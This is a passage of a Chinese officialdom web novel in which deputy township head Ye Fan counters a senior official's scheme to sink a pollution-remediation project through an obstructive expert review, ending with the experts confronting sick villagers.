“资金确实批复了,但县财政局那边,对我们项目的可行性评估报告,提出了非常高的要求。”叶凡将那份报告清单推到林国良面前,“您看,这份清单,涵盖了水文、地质、环保、农业、医学等十几个专业领域。以我们青山镇的基层力量,恐怕难以独立完成。”
林国良拿起清单,扫了一眼,眼中闪过一丝不易察觉的惊讶。
他显然没想到,周建斌会把事情做得这么绝。
但他很快又恢复了那副波澜不惊的表情,将清单放下:“小叶同志,县财政局的要求,都是为了资金安全和项目顺利进行,这无可厚非。既然你们能力不足,那就应该回去,好好学习,提升自身业务水平嘛。”
“林局长说得是。”叶凡点头,脸上带着一丝“虚心求教”的表情,“所以,我们青山镇政府,经过慎重研究,决定向上级部门求助。我们已经拟好了一份请示,准备恳请市卫生局、市环保局、市水利局等相关部门,能派遣专家,来我们青山镇,对我们的评估报告,进行现场指导和联合会审。”
说着,叶凡又从公文包里拿出那份《关于恳请市级各相关部门,对我镇“生态健康修复试点项目”可行性评估工作,进行技术指导与联合会审的请示》草稿,推到林国良面前。
林国良的笑容凝固了。
他拿起这份请示,只看了标题,眉头就紧紧地皱了起来。
叶凡的这一招,太狠了!
他没有直接指责县财政局的刁难,反而将这种刁难,转化成了“基层虚心求教”的姿态。
他没有要求市里拨款,只是“恳请”市里派专家“指导”。
但这份“请示”,一旦发出去,而且抄送给**副市长和高建民**,性质就完全不同了。
市里的专家来不来?
**副市长批示的项目,市纪委高**关注的污染案后续,现在基层求助“技术指导”,他们敢不来吗?
来了之后,他们会怎么看待县财政局那份近乎“博士论文”的报告要求?
他们会站在县财政局的角度,说青山镇“能力不足”,还是会站在专业角度,说这份要求“脱离实际”、“刁难基层”?
一旦市级专家组认定这份报告要求不合理,那么周建斌和柳传明的脸,就彻底丢光了。
更可怕的是,叶凡的请示里,还提到了“联合会审”。
这意味着,市里来了专家,就等于介入了这份报告的审核,甚至可能直接主导这份报告的撰写。
到时候,这笔五十万的专项资金,就彻底绕过了县财政局的“卡脖子”,直接在市级部门的“指导”下,完成合规流程。
这哪里是求助?
这分明是借力打力,釜底抽薪,而且是把刀递到你手里,让你自己去切断柳传明伸出来的手臂!
林国良的脸色,渐渐变得铁青。
他明白,叶凡这是在给他出难题,也是在给他设套。
他现在有两个选择:
第一,拒绝这份请示,或者找理由推脱。但这样一来,他就是公然拒绝基层合理求助,拒绝市领导关注的民生项目,甚至可能被视为与柳传明同流合污,阻碍工作。
一旦叶凡将这个情况汇报给高建民和**,他这个局长,恐怕也要吃不了兜着走。
第二,同意这份请示,派遣专家下去指导。
但这样一来,他就等于亲手为叶凡铺平了道路,亲手去打柳传明的脸。
而且,一旦市级专家组下去,牵扯出更多的问题,他这个局长,也难辞其咎。
办公室里的空气,仿佛凝固了。
叶凡静静地看着林国良,眼神平静,没有任何催促,也没有任何威胁。
他就像一个经验丰富的外科医生,在完成了最关键的“切口”后,静静地
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等待着病灶的反应。
他知道,林国良现在正在进行一场艰难的内心博弈。
林国良的额头上,渗出了细密的汗珠。他拿起桌上的茶杯,喝了一大口,似乎想借此掩饰内心的慌乱。
十分钟的时间,已经过去了大半。
最终,林国良缓缓地放下茶杯,眼神复杂地看向叶凡。
他的脸上已经没有了之前的居高临下,取而代之的是一种深深的忌惮。
他知道,自己遇到了一个,比柳传明更难缠的对手。
一个,能把“规矩”玩到极致,甚至反过来利用“规矩”来攻击对手的,可怕的年轻人。
“小叶同志啊,”林国良的声音,带着一丝疲惫,“你这个请示,写得……很严谨,也很到位。”
他停顿了一下,似乎在斟酌用词。
“这样吧,这份请示,你先留着。我回去和局里的领导班子,再认真研究一下。毕竟,派遣专家下去,涉及到多个部门的协调,不是我一个人就能决定的。”
“不过,你放心,对于青山镇的生态健康修复项目,我们市卫生局,一定会全力支持!”
林国良没有直接答应,也没有直接拒绝。
他选择了“研究一下”,给自己留下了周旋的余地。
但叶凡知道,这已经是他能争取到的最好结果。
林国良没有当场拒绝,就说明他不敢公然和市领导的批示、和“民生”的大旗对着干。
他需要时间,去衡量利弊,去和柳传明沟通,去看风向。
叶凡站起身,脸上露出了一个恰到好处的笑容。
“那就麻烦林局长了。我期待着市卫生局的专家们,能早日莅临青山镇,指导我们的工作。”
他没有再多说,也没有再纠缠。
他知道,点到为止,才是官场博弈的最高境界。
他向林国良微微躬身,然后转身,离开了办公室。
走出市卫生局大楼,阳光洒在身上,叶凡长长地吐出一口气。
他知道,这只是第一步的成功。
真正的较量,才刚刚开始。
林国良的“研究”,必然会引来柳传明的关注。
而柳传明,绝不会坐以待毙。
一场更加隐蔽,也更加凶险的暗战,即将拉开帷幕。
但他,已经做好了准备。
第29章 毒蛇出洞,以退为进!
**宣传部,部长办公室。
柳传明的办公室里,没有像林国良那里一样挂着气势磅礴的山水画,而是四壁皆白,只在办公桌对面,挂着一幅字。
字是名家手笔,铁画银钩,力透纸背,内容只有四个字——
“大道无形”。
林国良就站在这幅字前,低着头,像一个做错了事的学生,正在向柳传明详细汇报着刚刚与叶凡会面的全过程。
他不敢有丝毫隐瞒,甚至连叶凡说话的语气,脸上的表情,都尽力描述得惟妙惟肖。
柳传明静静地听着,手中把玩着两颗光滑的紫檀木手球,手球在他掌心缓缓转动,发出沉闷而有节奏的碰撞声。
办公室里,除了林国良略带紧张的汇报声,就只有这单调的碰撞声,一下,一下,仿佛敲在人的心坎上。
直到林国良说完,柳传明也没有立刻开口。
他依旧不紧不慢地转着手球,目光似乎落在那幅“大道无形”的字上,又似乎穿透了墙壁,看到了更远的地方。
这种沉默,比任何雷霆震怒都更让林国良感到恐惧。
冷汗,顺着他的鬓角,无声地滑落。
“国良啊,”许久,柳传明终于开口了,声音平淡得像在拉家常,“你说,这小子,是想借你的手,打我的脸?”
林国良身子一颤,连忙道:“部长,他这是痴心妄想!我当场就想……”
“你想严词拒绝他,对不对?”柳传明打断了他的话,嘴角浮起一丝不易察觉的冷笑。
“然后呢?他拿着这份‘态度谦卑’的请示,转身就去找高建民和**哭诉,说我们市卫生局官僚作风,对基层合理诉求置之不理,阻挠市领导亲自批示的民生项目。”
“到时候,一顶大帽子扣下来,是你戴,还是我戴?”
林国良的脸色瞬间变得惨白,后背的衬衫,已经被冷汗浸透。
柳传明的每一个字,都精准地剖析出了他当时没来得及细想的、最可怕的后果。
“他不是在打我的脸。”柳传明将手球轻轻放在铺着绒垫的桌面上,发出“笃”的一声轻响。
“他是在用阳谋,逼我们表态。他把舞台搭好,把聚光灯打亮,把所有观众都请来,然后把刀子递到我们手里,看我们是捅向他,还是捅向自己。”
柳传明站起身,走到窗边,负手而立,看着楼下车水马龙的江城市。
“这小子,比我想象的,要聪明,也要狠得多。”
他第一次,用“狠”这个字来评价叶凡。
不再是“废物”,不再是“烂泥”,而是值得他正视的对手。
林国良大气也不敢出,只能静静地等着柳传明的下文。
“他要专家,我们就给他专家。”柳传明的声音忽然变得轻松起来,甚至带上了一丝笑意。
“他不是要搞‘联合会审’吗?好!我们不仅要支持,还要大力支持!要高规格地支持!”
林国良猛地抬起头,满脸的不可思议。
“部长,这……”
“他以为他请的是‘尚方宝剑’,那我们就给他送去一队‘御史钦差’。”柳传明转过身,眼中闪烁着老谋深算的光芒。
“你回去之后,立刻牵头,联合市环保局、水利局,成立一个‘江城市赴青山镇生态健康修复试点项目可行性评估专家指导组’。”
“规格要高,名头要响!就由你林国良,亲自担任这个组长!”
“至于组员嘛……”柳传明踱回办公桌前,拿起笔,在一张便签上,不假思索地写下了几个名字。
“市环保局的王工,王克明,搞了一辈子理论研究,最讲究数据模型,眼里揉不得一粒沙子,让他去负责环境评估。”
“市水利局的赵博士,刚从德国留学回来,最看不起国内的‘土办法’,让他去负责水文地质勘探。”
“还有你们卫生局疾控中心的刘教授,快退休了,出了名的老顽固,最喜欢在报告里挑语病和逻辑错误,让他去负责医学关联性分析。”
柳传明每写一个名字,林国良的心就往下沉一分。
这些人,他都认识。
全都是系统内出了名的“刺头”和“老学究”。
他们或许没有派系立场,但他们有一个共同的特点:极度教条,极度迷信理论和数据,而且油盐不进,六亲不认。
让他们去“指导”一个缺钱、缺设备、缺数据的乡镇项目,那不是指导,那是审判!
他们会用最严苛的学术标准,最复杂的理论模型,去把这个项目批得体无完肤,最终得出一个“缺乏科学依据,不具备可行性”的结论。
这个结论,将是专业的,是权威的,是无可辩驳的。
到时候,项目黄了,不是因为领导不支持,不是因为有人使绊子,而是因为这个项目本身,就是一场不科学的、哗众取宠的闹剧。
叶凡,将从一个“为民**”的英雄,变成一个好高骛远、浪费国家资源的跳梁小丑。
而柳传明,自始至终,都扮演着一个积极支持、全力配合的开明领导形象。
**于无形,诛心于规矩之内。
林国良看着柳传明脸上那云淡风轻的笑容,只觉得一股寒气从脚底板直冲天灵盖。
这,才是柳传明真正的手段!
“去办吧。”柳传明将那张写着名字的便签,递给林国良。
“记住,要大张旗鼓地去,要让所有人都知道,市里对这个项目是何等的重视。我们,是在帮他,是在成就他。”
“是,是!我明白了!”林国良接过那张薄薄的便签,却觉得它重如千钧。
他躬着身子,退出了柳传明的办公室。
门关上的那一刻,他才发现,自己赢弱的腿,竟有些发软。
……
市里要成立高规格专家组,下来指导工作的消息,像长了翅膀一样,一天之内就传回了青山镇。
钱国栋的办公室里,爆发出一阵畅快淋漓的大笑。
“哈哈哈哈!好!好啊!”钱国栋一巴掌拍在桌子上,震得茶杯嗡嗡作响。
“叶凡,你这招‘倒逼宫’,不,是‘请神入殿’,用得实在是太妙了!”
“林国良亲自带队!这下我看那个周建斌,还敢不敢拿他那套狗屁规矩
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出来说事!”
李德海院长也激动得满脸通红:“这下好了,专家来了,报告的问题解决了,资金马上就能到位,咱们的试点项目,终于能动起来了!”
整个青山镇政府,前两天还压抑沉闷的气氛,一扫而空。
所有人都觉得扬眉吐气,看向叶凡的眼神,充满了敬畏和崇拜。
这位年轻的副镇长,简直就是神仙下凡,总能化腐朽为神奇!
然而,在一片欢腾之中,只有叶凡,依旧保持着冷静。
他没有众人想象中的兴奋,眉头反而微微蹙起。
事情,顺利得有些反常。
以他对柳传明心性的了解,对方绝不可能如此轻易地就范。
这背后,一定有诈。
就在这时,他口袋里的手机震动了一下。
是一条短信,来自他的导师,**主任。
短信内容很短,只有几个名字,和一个问号。
“王克明,赵博士,刘教授?”
这正是柳传明写下的那几个人。
叶凡的瞳孔,骤然收缩。
他立刻回拨了过去。
“主任。”
“小叶,你看到我发的短信了?”电话那头,**的声音很低沉,“专家组的名单,我托人打听到了,就是这几位。”
“这几个人,有什么问题吗?”叶凡沉声问道。
电话那头沉默了几秒,**叹了口气。
“问题?问题大了。”
“王克明,环保局的总工,典型的技术官僚,在他的世界里,没有误差范围百分之零点一以上的数据,都叫估算,都不能作为决策依据。”
“赵博士,水利局的宝贝,刚回国,一门心思要在国内推行德国那套最先进的勘探标准,你那个小山村,有条件让他施展吗?”
“最麻烦的,是咱们卫生系统的刘承德教授。他是我师兄,为人正直,但就是太正直了,简直是刻板。让他去审报告,不亚于用电子显微镜去找细菌。你报告里但凡有一个错别字,他都能给你上升到‘工作态度不严谨’的高度。”
**顿了顿,语气变得无比凝重。
“小叶,你明白我的意思吗?”
“这三个人凑在一起,不是来帮你完成报告的,他们是来给你挑错的,是来从理论上,**你这个项目的!”
“柳传明这一手,叫‘捧杀’!他把你捧得高高的,然后让这几个最‘专业’、最‘公正’的人,一脚把你从上面踹下来,让你摔得粉身碎骨!”
电话挂断,叶凡站在窗边,许久没有动。
窗外,是镇政府里欢欣鼓舞的同事,是钱国栋和李德海兴奋的笑脸。
可他的心里,却是一片冰冷的寒意。
他看着自己那双曾经在手术台上创造了无数奇迹的手。
柳传明,用一招看似光面堂皇的“以退为进”,成功地为他打造了一间新的手术室。
一间,所有手术器械都淬了毒的手术室。
而他,就是那个即将走进去的主刀医生。
他请来的,不是神。
而是一队,奉旨前来,将他钉死在十字架上的“判官”。
第30章 荆棘王冠,请君入瓮!
夜色,如同一块冰冷的铁,沉沉地压在青山镇的上空。
镇政府大院里,欢庆的气氛却还在发酵。
钱国栋的办公室灯火通明,他正和李德海眉飞色舞地讨论着,明天要用什么规格来接待市里来的专家组。
“我讲,必须要在镇上最好的饭店!八个凉菜,八个热菜,酒要上最好的!”李德海一拍大腿,脸上红光满面。
“格局小了!”钱国栋大手一挥,显得意气风发,“人家是来帮我们解决大问题的,是我们的恩人!明天,我让食堂把那头过年留着的老母猪宰了,搞全猪宴!这叫诚意!”
叶凡就站在门口,听着办公室里传出的、与窗外夜色格格不入的欢声笑语,心中那股寒意,愈发刺骨。
他推门而入。
“叶凡,你来得正好!快来参谋参谋,明天怎么才能让市里的专家感受到我们青山镇的热情!”钱国栋兴奋地朝他招手。
叶凡没有走过去,只是平静地站在那里,目光扫过两人兴奋的脸。
“钱**,李院长。”他的声音很轻,却像一盆冰水,浇在两人头上,“明天这场鸿门宴,我们可能笑不出来。”
办公室里的气氛,瞬间凝固。
钱国栋脸上的笑容僵住了:“叶凡,你这是什么意思?林国良亲自带队,这是多大的面子?柳传明就算想使坏,他敢在市领导眼皮子底下动手脚?”
“他不是动手脚。”叶凡的眼神深邃得像一口古井,“他是给了我们一顶最华丽的荆棘王冠,然后请我们自己,亲手戴上。”
他将**发来的那几个名字,以及他的分析,一五一十地说了出来。
每说出一个名字,钱国栋和李德海的脸色就白一分。
当叶凡说完最后一个字时,钱国栋那只端着茶杯的手,已经开始不受控制地微微颤抖。
办公室里,死一般的寂静。
那只准备被宰杀的老母猪,仿佛成了一个巨大的、充满了讽刺意味的笑话。
“他……他怎么敢这么毒!”李德海的声音都在发颤,前一秒的兴奋,此刻全化作了后怕和冰冷的愤怒。
钱国栋猛地将茶杯顿在桌上,茶水溅出,他却浑然不觉。
他一瞬间苍老了十岁,颓然地靠在椅背上,喃喃自语:“捧杀……捧杀……好一招**不见血的刀……”
他终于明白,自己和柳传明这种在权谋场里浸淫了一辈子的老狐狸比起来,终究还是太嫩了。
叶凡看着陷入绝望的两人,脸上却没有丝毫的慌乱。
他缓缓走到桌前,拿起桌上那份刚刚拟好的、热情洋溢的接待方案,轻轻地,撕成了两半。
“王冠虽然带刺,但只要戴法正确,它就能变成武器。”
叶凡的声音不大,却透着一股让人心安的镇定。
“他既然想看戏,那我们就演一出,他绝对想不到的大戏。”
……
第二天上午,三辆黑色的轿车,在一辆警车的引导下,准时驶入了青山镇政府大院。
车队停稳,市卫生局局长林国良第一个走下车,脸上挂着和煦如春风的笑容。
紧接着,一个个在江城各专业领域如雷贯耳的人物,鱼贯而出。
环保局总工程师王克明,一个头发花白、戴着厚厚眼镜片的老者,下车的第一件事,就是从包里拿出一个便携式空气质量检测仪,皱着眉看上面的数据。
水利局的赵博士,年轻英俊,穿着一身笔挺的西装,看着脚下的土地,眼神里带着一丝毫不掩饰的挑剔和轻蔑。
最后下来的,是卫生系统的刘承德教授。
他面容清癯,神情严肃,像一个古板的私塾先生,目光扫过前来迎接的钱国栋和叶凡,只是微微点了点头,连一丝客套的笑容都没有。
这阵仗,让整个镇政府的干部都感到一种无形的压力。
县委**张海涛也陪同前来,他紧跟在林国良身边,脸上的笑容比谁都谦卑,心里却在打鼓。
他敏锐地感觉到,今天的气氛,不对劲。
没有全猪宴,也没有高档酒楼。
迎接专家组的,是镇政府那间略显陈旧的二楼会议室,和一杯杯漂着几根茶叶的白开水。
林国良对此似乎并不在意,他笑容满面地发表了开场白,把青山镇和叶凡夸成了一朵花,赞扬他们“敢于担当、勇于作为、科学求是”,最后总结道:“我们专家组这次来,不是来检查的,是来服务的!是来帮助青山镇,把这件利国利民的大好事,办得更科学,更扎实!”
掌声稀稀拉拉。
钱国栋和李德海坐在下面,如坐针毡。
会议很快进入了“技术指导”环节。
这才是真正的**。
王克明总工第一个发难,他推了推眼镜,用一种不容置疑的学术口吻说道:“叶镇长,根据你们的初步报告,平安村的污染源是石料厂。那么请问,你们有没有对石料厂周边,半径五公里范围内的土壤,进行分层采样和重金属含量检测?有没有对青山镇连续五年的降雨量、风向、地下水径流进行数据建模,以分析污染物的扩散路径和速度?没有这些基础数据,你们怎么敢断定,污染是可控的?”
李德海张了张嘴,想说“我们哪有那个钱和设备”,却被王克明一个“你不专业”的眼神,给硬生生怼了回去。
紧接着,那位海归赵博士,用一口流利的、夹杂着德语单词的普通话开了口。
“我看了一下你们的地质资料,非常抱歉,这在我看来,几乎等于没有。任何一个负责任的工程,都需要基于DIN标准的地质勘探。你们的修复方案里提到要进行土壤置换和水体净化,这会改变局部的地质应力结构,有没有做过‘风险评估’?万一诱发小规模的滑坡,这个责任谁来承担?”
钱国栋的脸,已经由白转青。
最后,轮到了刘承德教授。
他没有提问,只是将那份叶凡他们写的初步报告,轻轻放在桌上,声音不大,却清晰地传到每个人耳朵里。
“这份报告,我昨晚看了一遍。里面出现了七个错别字,十一处语法错误,以及二十三个逻辑上值得商榷的地方。”
他抬起头,目光直视叶凡。
“叶凡同志,我听说,你也是医学博士出身,还是从市三院那种顶尖医院出来的高材生。”
“可你这份报告,连最基本的‘对照组’概念都没有。你如何能证明,村民的病症,与环境污染有百分之百的、排他性的因果关系?而不是因为他们的遗传基因、生活习惯,或者其他未知的病毒?”
“医学,是一门严谨的科学,不是讲故事。你这种态度,不仅是对项目的不负责,更是对你曾经所受的学术训练的,一种背叛!”
“轰!”
这番话,如同一记重锤,狠狠砸在所有青山镇干部的心上。
羞辱!
这是赤裸裸的、当着所有人的面,用最专业的、最冠冕堂皇的理由,进行的极致羞辱!
钱国栋的拳头,在桌子底下攥得咯咯作响,气得浑身发
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抖。
会议室里,死一般的寂静。
所有人的目光,都聚焦在了叶凡身上。
他们想看到叶凡愤怒、辩解,或者狼狈不堪。
然而,叶凡只是静静地听着,甚至还在笔记本上,认真地记录着什么。
直到刘承德教授的话音落尽,他才缓缓地抬起头,脸上非但没有羞愤,反而露出了一个诚恳的、近乎谦卑的笑容。
“感谢刘教授,感谢各位专家。”
他站起身,对着专家组,深深地鞠了一躬。
“各位专家刚才提出的问题,一针见血,振聋发聩,让我和我的同事们,都深受教育,也深刻地认识到了我们基层工作的粗糙和不严谨。”
他这番“认怂”的态度,让所有人都愣住了,包括那几位准备迎接他反驳的专家。
“我们青山镇,要钱没钱,要人没人,要设备没设备。我们唯一有的,就是一群被病痛折磨、对未来充满恐惧的百姓。”
叶凡的声音,忽然变得沉重。
“我们确实拿不出连续五年的水文数据,也做不了符合德国标准的风险评估,更建立不了严谨的医学对照组。”
他环视全场,目光最终落在林国良和几位专家的脸上。
“所以,我们今天,不谈报告了。”
“明天,我想请各位专家,跟我去一个地方,去见一见我的那些,无法被数据量化,也无法被模型分析的‘病人’们。”
“我想请各位,去当一次真正的‘主刀医生’。”
他说完,没有再看任何人,转身,径直走出了会议室。
那背影,没有丝毫的颓败,反而带着一种破釜沉舟的决绝。
……
夜里,苏沐秋找到了叶凡。
他一个人站在镇政府后山的小坡上,看着山下平安村星星点点的灯火,身影显得有些孤单。
“我今天,作为记者,全程旁听了会议。”苏沐秋走到他身边,声音里压着怒火,“他们那不叫指导,那叫刁难!那叫**!用规矩当刀子,杀掉一个能救几百口人的项目!”
叶凡没有回头,只是淡淡地问:“你觉得,柳传明这招,最高明的地方在哪里?”
苏沐秋一愣。
“最高明的地方在于,”叶凡自问自答,“他没有说谎。王克明、赵博士、刘教授,他们说的每一句话,从纯粹的学术角度来看,都是对的,都是严谨的,都是无可辩驳的。”
“他用一堆正确的废话,来扼杀一件唯一正确的事——救人。”
苏沐秋的心,狠狠地揪了一下。
她看着叶凡的侧脸,在清冷的月光下,轮廓分明,却也透着一股让人心疼的疲惫。
她忽然很想伸出手,去抚平他紧蹙的眉头。
最终,她只是从口袋里,拿出一个东西,塞进了叶凡的手里。
是一个暖宝宝。
“晚上山里凉。”她的声音很轻。
叶凡低头,看着手心那片迅速升温的暖意,沉默了片刻。
“谢谢。”
他转过头,看着苏沐秋那双在月光下亮得惊人的眼睛,忽然笑了。
那笑容,驱散了眉宇间的疲惫,重新变得锐利而自信。
“他们想在手术室里,用规矩困死我。”
“那我就把手术台,直接搬到他们面前。”
苏沐秋不解地看着他。
叶凡的目光,再次投向山下的平安村,声音里带着一丝冰冷的锋芒。
“明天,我要给这几位大专家,上一堂最直观的,关于‘生命’的公开课。”
第31章 田埂上的审判!
清晨的薄雾尚未散尽,专家组的三辆轿车引擎已经发动,准备打道回府。
在他们看来,此行的任务已经圆满完成。
他们用最无可辩驳的专业权威,给这个异想天开的乡镇项目,宣判了**。
林国良站在车边,正与前来送行的县委**张海涛客气地握手,脸上是恰到好处的遗憾与官方的勉励。
然而,叶凡就站在大院的出口,不远不近,神情平静,仿佛专程在等他们。
他身后,没有钱国栋,也没有李德海,只有一个背着相机的苏沐秋。
林国良的眼皮跳了一下,一种不祥的预感油然而生。
他走上前,笑容依旧和煦:“叶镇长,还有什么事吗?我们马上要回市里汇报工作了。”
“不耽误各位领导的时间。”
叶凡的声音很平稳,听不出任何情绪。
“只是昨天各位专家给我上了一堂严谨的科学课,今天,我想请各位专家,给我上一堂现场指导课。”
他做了一个“请”的手势,指向通往平安村的那条泥泞小路。
“报告,终究是写在纸上的。我想请各位专家,亲眼看一看,这份报告的每一个字,都对应着怎样的生命。”
海归赵博士的嘴角,撇出一丝轻蔑。
在他看来,这是典型的黔驴技穷,要开始打感情牌了。
王克明总工则是习惯性地皱起了眉头,似乎觉得这种“不科学”的实地考察,是在浪费他宝贵的时间。
唯有刘承德教授,目光在叶凡沉静的脸上停留了片刻,没有说话。
“好嘛,既然叶镇长盛情邀请,我们就看一看,走一走。”
林国良打了个圆场,他倒想看看,这个年轻人还能玩出什么花样。
他自信,无论叶凡展示多么凄惨的画面,都无法撼动那三位专家用理论和数据构建起来的坚固壁垒。
于是,一队奇怪的组合,出现在了平安村的田埂上。
一边,是西装革履、皮鞋锃亮的市级专家和领导,他们小心翼翼地避开地上的泥水和鸡粪,神情间带着审视与疏离。
另一边,是穿着半旧白衬衫的叶凡,步伐沉稳,从容得像是在巡视自己的领地。
苏沐秋跟在后面,没有说话,只是不停地按动快门,将这幅极具冲击力的画面,定格下来。
村口的张大山老人,正坐在门槛上,费力地捶打着自己已经严重变形的膝盖。
看到叶凡领着一群“城里人”过来,他浑浊的眼睛里,闪过一丝光。
“叶……叶镇长……”
“张大爷,我带几位市里来的医生专家,给您看看。”叶凡的声音温和。
专家组停下了脚步,一股混合着贫穷、霉味和草药的气息,扑面而来,让赵博士下意识地蹙起了眉。
叶凡没有介绍病情,而是蹲下身,轻轻卷起张大山老人的裤腿,露出那如同枯树根一般扭曲的小腿。
“王总工,”叶凡没有看王克明,目光却锁定了他,“您昨天问我,有没有对周边五公里的土壤进行分层采样。我没有。”
“但是,这片土地里的氟化物,通过水源和粮食,进入了张大爷的身体,替代了他骨骼里的钙。这,就是最直观的‘采样结果’。”
他又转向那位赵博士。
“赵博士,您问我有没有做过地质应力结构的风险评估。我也没有。”
“但是,张大爷这双腿,就是这片土地‘应力失衡’后,压在一个人身上,最沉重的‘风险’。”
最后,他的目光,落在了刘承德教授的身上。
这一次,他的语气里,带上了一丝晚辈对前辈的请教。
“刘教授,您是骨科的泰山北斗。从病理学上看,这种系统性的氟骨症,除了长期暴露在超标的氟化物环境中,您能给出第二种,更科学的解释吗?”
刘承德的嘴唇动了动,却一个字都说不出来。
他可以挑剔报告的措辞,可以质疑数据的来源,但他无法否认眼前这双腿上,镌刻着的、最残酷的病理学事实。
这,就是铁证。
叶凡站起身,领着沉默的专家组,继续往村里走。
他们来到了刘翠花的家。
那个三岁的孩子,正安静地坐在小板凳上,小脸发青,嘴唇是缺氧的绀紫色。
看到叶凡,孩子没有像其他孩子那样活泼地跑过来,只是虚弱地抬了抬眼皮。
刘翠花局促地站起身,给众人倒水,那水,就是从村里那口井打上来的,泛着淡淡的黄色。
专家们没人敢喝。
“先天性心脏病,室间隔缺损。”叶凡的声音很低,像是在自言自语,又像是在对所有人说。
“我们青山镇,拿不出钱给村里每家每户装上市里那种昂贵的净水器。”
“我们也没有能力,去精确分析她怀孕期间,每天摄入的重金属镉,到底超标了零点几个微克。”
“我们唯一能做的,就是在报告里,写下‘高度怀疑’这四个字。”
他转过头,再次看向刘承德教授,眼神清澈,却又无比锐利。
“刘教授,昨天您批评我,说我的报告连‘对照组’都没有,这是对学术的背叛。”
“那我想请问,如果我们要设置一个严谨的对照组,是不是就要让另一批健康的孕妇,和刘翠花一样,怀胎十月,喝同样的水,吃同样的粮食?”
“用一个未出世的、可能会残缺的生命,去验证一个我们早已心知肚明的‘科学结论’?”
“请问教授,这,是符合学术伦理,还是在背叛人性?”
“轰!”
叶凡的每一个字,都像一把无形的重锤,狠狠地砸在刘承德的心脏上。
他的脸色,瞬间变得惨白。
他一生都以严谨、正直、坚守学术原则为傲,可今天,在这个破败的农家小院里,他引以为傲的原则,被叶凡用最朴素、也最残忍的现实,撕得粉碎。
他不是在和叶凡辩论,他是在和自己的良心,进行一场天人交战。
林国良的脸色也变了,他意识到,局势正在彻底滑向他无法控制的深渊。
叶凡根本没有给他们辩驳的机会,他用一个个鲜活的、痛苦的生命,构建起了一个全新
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的、无法用数据和理论来反驳的逻辑闭环。
就在这时,村里的其他村民,也闻讯走了出来。
他们没有围上来,没有哭喊,也没有申诉。
他们只是远远近近地站着,或靠在墙边,或坐在门口。
一个因为矽肺病,走几步路就要停下来剧烈喘息的中年男人。
一个手臂上长满了不明原因的红色斑块的小女孩。
一群因为神经系统受损,眼神呆滞、反应迟钝的孩子。
他们就那样静静地站着,用他们病态的、沉默的身体,组成了一份最厚重、最触目惊心的……可行性评估报告。
专家组被这无声的阵仗,包围了。
王克明总工下意识地看了一眼自己那个精密的空气检测仪,忽然觉得上面的数字,是那么的苍白和可笑。
赵博士的目光,死死地盯着一个拄着拐杖、腿脚严重畸形的孩子,他那套引以为傲的德国DIN标准,在这一刻,仿佛成了一个冰冷的国际笑话。
苏沐秋的眼圈红了,她的手在微微发抖,但她依旧在拍摄。
她知道,她正在记录的,不是一场普通的采访,而是一场对所谓“规矩”和“权威”的,无声的审判。
“叶镇长,情况……我们都看到了,很受触动。”林国良终于干咳一声,试图打破这令人窒息的沉默,想要尽快结束这场“考察”。“我们回去以后,一定会……”
叶凡仿佛没有听到他的话。
他穿过人群,径直走到了刘承德教授的面前,两人的距离,不足一米。
所有人的呼吸,都停滞了。
“刘教授。”
叶凡的声音不大,却清晰地压过了现场所有的声音。
“您是老师,是前辈。您昨天教我,医学不是讲故事。”
他的目光平静而执着,像一把锋利的手术刀,要剖开眼前这个老人用一生构建起来的、坚硬的外壳。
“那今天,我想请您告诉我。”
“眼前这一切,是故事,还是事实?”
“这份关乎几百条人命的报告,我,是该在窗明几净的办公室里,用冰冷的数据去写?”
“还是该站在这片被污染的土地上,用一条条鲜活的、滚烫的人命去写?”
“请您,教我。”
最后四个字,叶凡说得极轻,却又重如泰山,狠狠地压在了刘承德的灵魂之上。
刘承德浑身一震,如遭雷击。
他看着叶凡那双清澈得不含一丝杂质的眼睛,又看了看周围那一双双充满了痛苦和期盼的眼睛。
他张了张嘴,喉咙里像是堵了一团棉花,一个字也吐不出来。
他一辈子都在教别人什么是对,什么是错。
可这一刻,他忽然发现,自己,才是那个最需要被“教”的学生。
风,吹过田埂,带着一丝泥土的腥气。
整个平安村,一片死寂。
所有人都在等待着,等待着这位来自江城市的最高医学权威,做出他的审判。
而这个审判,将决定这个项目的生死,也将决定,他一生的骄傲与信仰,将归于何处。
第32章 良知一跪,规矩尽碎!
时间,在这一刻仿佛被拉伸成了凝固的琥珀。
风停了。
鸟也不再鸣叫。
整个平安村成了一座巨大的、无声的露天法庭。
刘承德,这位在医学界德高望重、一生以严谨和规则为圭臬的老人,正站在他人生中最重要的审判席上。
原告,是眼前这几百名被病痛折磨、在绝望中挣扎的村民。
被告,是他坚守了一生,引以为傲的,那些冰冷的、脱离了人性的所谓“规矩”。
而审判者,是他自己的良知。
他的脸色由惨白转为涨红,又由涨红,化作一片死灰。
他的身体在不受控制地剧烈颤抖。
他那双看过无数CT片、X光片,能精准找出最细微病灶的眼睛,此刻却被眼前那一双双充满了血丝、混杂着痛苦与祈求的眼睛,刺得无处躲藏。
“我……”
他终于开口,声音却干涩、嘶哑得如同两块砂纸在摩擦,只说出一个字,便再也无法继续。
叶凡的话,像一把淬了毒的手术刀,精准地剖开了他的胸膛,将他那颗包裹在层层学术铠甲之下的心脏,血淋淋地暴露在光天化日之下。
“规矩”。
“科学”。
“严谨”。
这些他奉为神明的词汇,在这一刻,在这一张张被病痛扭曲的脸面前,显得如此苍白,如此虚伪,如此可笑。
林国良的心已经沉到了谷底。
他额上冷汗涔涔,拼命地向刘承德使着眼色,嘴唇无声地动着,似乎在说:“走!快走!”
他知道,完了。
柳传明那个天衣无缝的“捧杀”之计,那个用权威和规矩打造的、无懈可击的牢笼,被叶凡用最原始、最野蛮,也最无法抗拒的方式,从内部一拳砸开了一个缺口。
而刘承德,就是那个即将崩塌的缺口!
“刘教授!”林国良终于忍不住,上前一步,强笑道,“我看今天就到这里吧,大家也都累了。我们……我们回去一定认真研究,拿出一个最科学的方案来!”
他试图搀扶刘承德,想强行将他带离这个让他灵魂备受煎熬的地方。
然而,刘承德却像一尊雕塑,纹丝不动。
他没有理会林国良,只是死死地盯着叶凡,浑浊的眼中忽然涌上了两行滚烫的老泪。
他想起了自己年轻时,第一次穿上白大褂,在希波克拉底誓言下宣誓的那个下午。
“我愿尽余之能力与判断力所及,遵守为病家谋利益之信条……”
“我之唯一目的,为病人谋幸福……”
他是什么时候,把这些誓言,忘在了故纸堆里?
他是什么时候,变成了一个只会躲在办公室里,对着数据和报告指点江山,却对活生生的人间疾苦视而不见的,学术官僚?
